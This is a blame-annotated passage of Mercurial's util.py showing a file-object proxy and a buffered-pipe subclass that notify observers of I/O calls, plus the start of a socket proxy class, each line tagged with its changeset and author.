bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	413 ours = {
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	414 r'_observer',
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	415
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	416 # IOBase
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	417 r'close',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	418 # closed if a property
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	419 r'fileno',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	420 r'flush',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	421 r'isatty',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	422 r'readable',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	423 r'readline',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	424 r'readlines',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	425 r'seek',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	426 r'seekable',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	427 r'tell',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	428 r'truncate',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	429 r'writable',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	430 r'writelines',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	431 # RawIOBase
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	432 r'read',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	433 r'readall',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	434 r'readinto',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	435 r'write',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	436 # BufferedIOBase
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	437 # raw is a property
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	438 r'detach',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	439 # read defined above
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	440 r'read1',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	441 # readinto defined above
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	442 # write defined above
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	443 }
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	444
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	445 # We only observe some methods.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	446 if name in ours:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	447 return object.__getattribute__(self, name)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	448
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	449 return getattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	450
36840 6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	451 def __nonzero__(self):
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	452 return bool(object.__getattribute__(self, r'_orig'))
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	453
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	454 __bool__ = __nonzero__
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	455
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	456 def __delattr__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	457 return delattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	458
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	459 def __setattr__(self, name, value):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	460 return setattr(object.__getattribute__(self, r'_orig'), name, value)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	461
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	462 def __iter__(self):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	463 return object.__getattribute__(self, r'_orig').__iter__()
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	464
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	465 def _observedcall(self, name, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	466 # Call the original object.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	467 orig = object.__getattribute__(self, r'_orig')
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	468 res = getattr(orig, name)(args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	469
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	470 # Call a method on the observer of the same name with arguments
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	471 # so it can react, log, etc.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	472 observer = object.__getattribute__(self, r'_observer')
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	473 fn = getattr(observer, name, None)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	474 if fn:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	475 fn(res, args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	476
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	477 return res
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	478
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	479 def close(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	480 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	481 r'close', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	482
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	483 def fileno(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	484 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	485 r'fileno', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	486
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	487 def flush(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	488 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	489 r'flush', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	490
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	491 def isatty(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	492 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	493 r'isatty', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	494
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	495 def readable(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	496 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	497 r'readable', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	498
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	499 def readline(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	500 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	501 r'readline', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	502
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	503 def readlines(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	504 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	505 r'readlines', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	506
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	507 def seek(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	508 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	509 r'seek', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	510
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	511 def seekable(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	512 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	513 r'seekable', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	514
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	515 def tell(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	516 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	517 r'tell', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	518
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	519 def truncate(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	520 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	521 r'truncate', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	522
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	523 def writable(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	524 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	525 r'writable', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	526
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	527 def writelines(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	528 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	529 r'writelines', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	530
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	531 def read(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	532 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	533 r'read', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	534
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	535 def readall(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	536 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	537 r'readall', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	538
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	539 def readinto(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	540 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	541 r'readinto', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	542
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	543 def write(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	544 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	545 r'write', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	546
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	547 def detach(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	548 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	549 r'detach', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	550
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	551 def read1(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	552 return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	553 r'read1', args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	554
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	555 class observedbufferedinputpipe(bufferedinputpipe):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	556 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	557
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	558 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	559 bypass ``fileobjectproxy``. Because of this, we need to make
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	560 ``bufferedinputpipe`` aware of these operations.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	561
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	562 This variation of ``bufferedinputpipe`` can notify observers about
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	563 ``os.read()`` events. It also re-publishes other events, such as
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	564 ``read()`` and ``readline()``.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	565 """
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	566 def _fillbuffer(self):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	567 res = super(observedbufferedinputpipe, self)._fillbuffer()
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	568
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	569 fn = getattr(self._input._observer, r'osread', None)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	570 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	571 fn(res, _chunksize)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	572
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	573 return res
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	574
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	575 # We use different observer methods because the operation isn't
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	576 # performed on the actual file object but on us.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	577 def read(self, size):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	578 res = super(observedbufferedinputpipe, self).read(size)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	579
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	580 fn = getattr(self._input._observer, r'bufferedread', None)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	581 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	582 fn(res, size)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	583
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	584 return res
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	585
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	586 def readline(self, args, *kwargs):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	587 res = super(observedbufferedinputpipe, self).readline(args, *kwargs)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	588
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	589 fn = getattr(self._input._observer, r'bufferedreadline', None)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	590 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	591 fn(res)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	592
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	593 return res
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	594
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	595 PROXIED_SOCKET_METHODS = {
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	596 r'makefile',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	597 r'recv',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	598 r'recvfrom',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	599 r'recvfrom_into',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	600 r'recv_into',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	601 r'send',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	602 r'sendall',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	603 r'sendto',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	604 r'setblocking',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	605 r'settimeout',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	606 r'gettimeout',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	607 r'setsockopt',
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	608 }
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	609
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	610 class socketproxy(object):
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	611 """A proxy around a socket that tells a watcher when events occur.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	612
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	613 This is like ``fileobjectproxy`` except for sockets.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	614
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	615 This type is intended to only be used for testing purposes. Think hard
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	616 before using it in important code.
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	617 """
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	618 __slots__ = (
